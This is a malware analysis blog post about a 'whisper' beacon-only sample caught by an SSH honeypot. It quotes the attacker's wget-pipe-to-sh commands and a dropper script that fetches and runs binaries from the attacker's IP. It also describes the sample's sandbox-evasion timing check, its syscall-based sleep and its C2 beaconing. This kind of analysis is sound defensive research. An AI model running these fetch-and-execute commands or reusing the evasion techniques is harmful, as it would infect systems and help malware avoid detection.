In the past few days I found something fairly interesting in my sandbox. An attacker attempted to install malware, and the initial analysis led me a bit irritated. The attacker used several techniques to prevent delivering the payload to sandboxes. In this post I only show excerpts; I also published a repository on GitHub that contains the full artifacts.
Quick overview of the key facts:
Affected service: SSH
Honeypot: Cowrie
Attacker IP: 31.170.22.205
Commands executed: (see snippet below)
wget -qO- http://31.170.22.205/dl401 | sh
wget -qO- http://31.170.22.205/dl402 | sh
wget -qO- http://31.170.22.205/dl403 | sh
wget -qO- http://31.170.22.205/dl404 | sh
wget -qO- http://31.170.22.205/dl405 | sh
wget -qO- http://31.170.22.205/dl406 | sh
wget -qO- http://31.170.22.205/dl407 | sh
wget -qO- http://31.170.22.205/dl408 | sh
The attacker tried to download a shell script. It looks like this:
cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv5
chmod +x whisper.armv5
./whisper.armv5 410
cd /tmp
rm -rf whisper.*
wget http://31.170.22.205/bins/whisper.armv6
chmod +x whisper.armv6
./whisper.armv6 410
[...]
The script downloads several binaries, sets execute permissions on them, and then runs them. I tried to download those binaries myself and, oddly, every file had the exact same hash. Inspecting the file metadata revealed they are Windows executables.

I uploaded the file to VirusTotal for a quick look.

The file turned out to be Microsoft’s calc.exe, the standard Windows Calculator app. We can verify this by computing the file hash of calc.exe on a Windows machine:

That gives us confirmation. Since the attacker had already registered with our honeypot, I then attempted to download the files from the honeypot IP, which worked as expected. The attacker deliberately prevents his actual payloads from being easily analyzed by serving them only to selected targets.
Here’s a table of the downloaded binaries (click to open)
You can download them for analysis purposes here.
| filename | sha256 |
|---|---|
| whisper.aarch64 | 5f7dff5b5bdc2a12506cfb771e94b6ea26fec8a78f65cf927f361a39322036f4 |
| whisper.aarch64be | 7a2af6f8c55bfc6d0bb259b4df37641cfb0dc9a1c94e0955784cfd9b34dc08ef |
| whisper.arcle750d | c92038d168aa088997ea982aadf1d455ac4bc89332916a576117273610f3069f |
| whisper.arclehs38 | 3611fb87865bd967b6a1b2c3450e68cec14ec90abd9a790147e1544896e7b624 |
| whisper.armv4 | 58189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f |
| whisper.armv5 | 1d51c313c929d64c5ebe8a5e89c28ac3e74b75698ded47d1bc1b0660adc12595 |
| whisper.armv6 | 90bf143a03e0cb6686c32a8a77dbdad6a314a16b7991823f45f7d9cb22ba51bc |
| whisper.armv7 | 2679b37532e176d63c48953cb9549d48feb76f076222cb6502034b0f72ca7db1 |
| whisper.i686 | 326952154ef5a81c819d67f9408e866af5fe2cdb3024df3ef1d650a9932da469 |
| whisper.m68k | 0f1fd9f0a99693ec551f7eb93b3247b682cb624211a3b0c9de111a8367745268 |
| whisper.mips | d37b334ec94b56236dc008108d4a9189019f1849fb010dcf08cfcf1a7d199b53 |
| whisper.mips64 | 1afcdc3210b47356a0f59eeffbc2f7be22c1dd7aa2cc541c0eb20db29da8280e |
| whisper.mips64le | fa96cf3b0022711627b97d569f0c6e28cfd62e7051fdce3f0165f8dd5c4ec760 |
| whisper.mips64len32 | 31f781726cc8cfc002b847fc0f05a7e28ebecea95f5a03b1cdeb63cce3e9ed8c |
| whisper.mips64n32 | 3615d10d1ef6e57b66aa653b158cd8d57166d69cbc4c90c2b7b9dd29820fcc64 |
| whisper.mipsle | b4658234a5c300bce3fe410a55fc87a59e4be7d46f948eaff389c4c16016afaa |
| whisper.powerpc440fp | ff08d2c7f8b5679add11dd4a297dd40a0d597e92e307ccd9c0d36366b59e3c6f |
| whisper.powerpc64e5500 | af7893318f1fe0d60cff62dbebe434e5f8c42bf1b338db23858177e880894574 |
| whisper.powerpc64e6500 | 7234970698fab486e210a65aa2a3d3daebd3eebcf4bf016e9670fa725c07d76a |
| whisper.powerpc64lepower8 | 90f5ccd40e0f737eb40dcf292f202c7c70f1cdc2d33bd6718c0b286007f3ce24 |
| whisper.powerpc64power8 | 938205ed2f664fc330e20580799445182ba840672ef8bd75ae7629e07a460a79 |
| whisper.powerpce300c3 | b2b811bbfe06d0edba85e0b0d42dbffb3714dee5bdd44426a1cb4589874d3234 |
| whisper.powerpce500mc | c43f32a066112fd87f43895515d27116e40688ae47b02ce0a5b379672830a136 |
| whisper.riscv32 | 61db3883d792b518450a4a67cfaa4d14baec59239a967ffb30c7a116a39f00e6 |
| whisper.riscv64 | 1a60918639c961f6814f4dc74751a926361841b66c837d544697be1d3f42594e |
| whisper.sh4 | 3ac847bc1351ea5275d30cf9186caf607021d7f1da1a4cafeff6886b87844f36 |
| whisper.sparc | 9033caaa07477bbed8ccd9f130fd8353a81143db44555b734ed1547ef368a8dd |
| whisper.sparc64 | 00a290ee2458e38a0ec78be1414f651612c51831ff741cb40d5c6a11b29a6d7c |
| whisper.x64 | 4dd0005c6e6d4eca722ed02fec17a689828754a66a107272c5cd62f2fec478e1 |
For my analysis I’ll focus on the file whisper.x64.

It’s a stripped ELF binary, a binary that has had debugging symbols and symbol names removed. That makes analysis a bit harder, but not impossible. First step: upload the file to VirusTotal.

This was the first submission of the file on VirusTotal, so there is no historical data. Several scanners flagged the binary as a DDoS agent. To find out what it actually does at runtime, I opened it in Ghidra and started looking at functions. First I checked the strings embedded in the binary.

Already we can see some interesting strings, for example:
| DEFINED | 0040a000 | s_31.170.22.205_0040a000 | ds “31.170.22.205” | “31.170.22.205” | string | 14 | false |
| DEFINED | 0040a012 | s_/add.php?v=%u&a=%s&o=%u&e=%u_0040a012 | ds “/add.php?v=%u&a=%s&o=%u&e=%u” | “/add.php?v=%u&a=%s&o=%u&e=%u” | string | 29 | false |
| DEFINED | 0040a050 | s_/ping.php?v=%u&a=%s&e=%u&c=%u_0040a050 | ds “/ping.php?v=%u&a=%s&e=%u&c=%u” | “/ping.php?v=%u&a=%s&e=%u&c=%u” | string | 30 | true |
From these strings we can infer a few capabilities:
add.php: registers the client at the C2 serverping.php: sends a ping / heartbeat to the C2 server
Next I examine syscalls to get a clearer picture of the binary’s behavior.
If you want to get an overview of x64 syscalls, you can find them here.

0x31 is the syscall number for sys_bind, so we can infer socket-related functionality. I renamed the function to socket_bind in Ghidra (right-click > Rename Function) and then checked the incoming calls to see where it is used.

After jumping to function FUN_004012b1 we see the following code:

To bind a socket via syscall we need to look at the sockaddr_in layout for x64:
struct sockaddr_in {
short sin_family; // e.g. AF_INET
unsigned short sin_port; // e.g. htons(3490)
struct in_addr sin_addr; // see struct in_addr, below
char sin_zero[8]; // zero this if you want to
};
Offset 0 (2 bytes): sin_family (2 / AF_INET)
Offset 2 (2 bytes): sin_port – this is where param_1 lands
Offset 4 (4 bytes): sin_addr – here it’s 0 (INADDR_ANY)
So local_28 corresponds to sin_family, local_24 to sin_addr, and local_26 to sin_port. I renamed the variables accordingly and gave the function the name create_socket.

FUN_004036d3 likely creates the socket. We can confirm that by searching inside it for syscall 0x29 (which is sys_socket). That matches, I renamed that function and fleshed out the code.

This confirms our assumption, so I can also give this function a name and complete the code as far as possible.

We still didn’t know which port this socket uses, so I looked at incoming references and found it’s called only from FUN_00401020.



That function is invoked right after the entry point, it’s effectively main. From the line iVar2 = create_socket(0x5d15); we can infer the port. 0x5d15 in the binary is not the final port number: it’s an unsigned short that gets converted with htons from host byte order to network byte order.
whisper > printf "%d\n" $(( ((0x5d15 & 0xff) << 8) | ((0x5d15 >> 8) & 0xff) ))
5469
You can convert it in bash or compute by hand: because htons swaps the two bytes on little-endian hosts, 0x5d15 becomes 0x155d, which is 5469 in decimal. This is a common pattern used, for example, to avoid running two copies of the malware, but it could also be used as a communication channel. To check that, I searched for the sys_listen syscall (0x32). There is no listen syscall in the binary, so it’s safe to assume this is an execution lock rather than a listening server. The decompiled code also confirms this.

iVar2 is the return status of the socket creation; if iVar2 == -1 socket creation failed and the program exits.
Now let’s look more closely at the block of code that follows a successful socket creation. I’ll skip FUN_0040123 and FUN_00401246 because they only initialize and destroy a buffer, they don’t add relevant functionality.

To understand the logic I examined four helper functions: FUN_0040120a, FUN_004013c6, FUN_004014e2, and FUN_00404634. I started with FUN_00404634 because it has the most incoming references.

This one is most likely a sleep function. If param_1 == 0 nothing happens, that’s typical for sleep wrappers. If param_1 != 0, the routine calls into the kernel through several helper calls and performs a timed wait.

Inside it calls FUN_00404f1f(0x11, 0, local_28), that’s a wrapper for a syscall. The parameter 0x11 is the syscall we care about; on x86-64 that’s sys_rt_sigtimedwait. rt_sigtimedwait lets you wait for signals with a timeout, so the code can sleep while still being able to respond to signals (from another thread, an IPC, or a realtime signal). Many analysis and monitoring tools hook libc sleep functions like nanosleep(); by using direct syscalls the malware can bypass those hooks and make runtime analysis harder.
After that the code performs what looks like a timer or remaining-time check, it computes elapsed time or remaining time and returns that value. I renamed this helper to sleep for clarity.

FUN_0040120a



FUN_0040120a uses syscall 0xc9, which is a time-related syscall. The function measures elapsed time across a 10-second delay, a typical sandbox-evasion trick. The code checks the difference and only executes the following block if the delta indicates the sleep actually occurred. I renamed this to time_passed_check.
FUN_004013c6

FUN_004013c6 is straightforward: it performs a GET request to the C2’s add.php. That is the client registration step. The GET parameters v, a, o, and e map roughly as follows:
v: fixed valuea: CPU architecture (agent string)o: fixed valuee: the value passed to the binary at execution time
I renamed the function to add_client.
FUN_004014e2
The last function, FUN_004014e2, is similar to add_client. It sends a ping to the C2 server and returns a boolean indicating success or failure. I renamed it ping_cnc.

I’ve now analyzed and named all four helper functions used by FUN_0040125c.
Here’s the result:

Step-by-step:
First, the binary checks the result of the time-check. If that check passes, it registers the client with the C2.
Afterwards, the binary pings the C2 server every 300 seconds. The loop contains a counter that runs 576 iterations in total. The full runtime is therefore limited to exactly 48 hours (300 * 576 = 172,800 seconds = 48 hours). I named the overall routine add_and_ping.
Looking into the main function, we now have a structure that ties everything together:

Note: I intentionally didn’t discuss every single helper; I renamed the lesser functions for clarity but didn’t dig into those that aren’t relevant to this write-up.
Conclusion
The binary’s functionality is limited. On startup it runs a time-difference check designed to detect sandboxing, using sys_rt_sigtimedwait to make sleep detection harder. If the sample concludes the timing check is okay, it registers with the C2 and then pings the C2 every five minutes for 48 hours. This is a beacon-only sample with no additional backdoor capabilities in the analyzed build.
Interpretations
Because the attacker used multiple techniques to keep their real binaries out of standard analysis, this likely serves as a sandbox-evasion measure. The operator can watch the incoming pings from infected machines and, after confirming persistent, consistent check-ins over the 48-hour window, choose targets for a follow-up payload deployment. That prevents premature sandboxing and analysis of the actual payloads.
An argument against that theory is the lack of any attempt to establish persistent access in this sample, that would make later deployment harder if defenders notice and block the operation early.
Another hypothesis is that the operator collects telemetry to detect whether the binary is being detected and if it survives for a desired runtime. That would explain the lack of persistence attempts, but I consider this less likely because there are more efficient ways to perform that kind of telemetry.
References:
- Small Analysis by previous Version of the Binary: https://ducklingstudio.blog.fc2.com/blog-entry-419.html
- Github: https://github.com/Mr128Bit/Whisper-beacononly-c2client/tree/main
- Malshare Links:
- Coming Soon
- Virustotal Scans:
- whisper.powerpc64power8
- whisper.powerpce300c3
- whisper.sparc
- whisper.powerpce500mc
- whisper.sparc64
- whisper.powerpc440fp
- whisper.i686
- whisper.powerpc64e6500
- whisper.powerpc64lepower8
- whisper.x64
- whisper.powerpc64e5500
- whisper.sh4
- whisper.mips64n32
- whisper.m68k
- whisper.mipsle
- whisper.riscv64
- whisper.mips64len32
- whisper.riscv32
- whisper.arcle750d
- whisper.mips64le
- whisper.mips
- whisper.arclehs38
- whisper.mips64
- whisper.armv6
- whisper.armv5
- whisper.armv7
- whisper.aarch64
- whisper.aarch64be






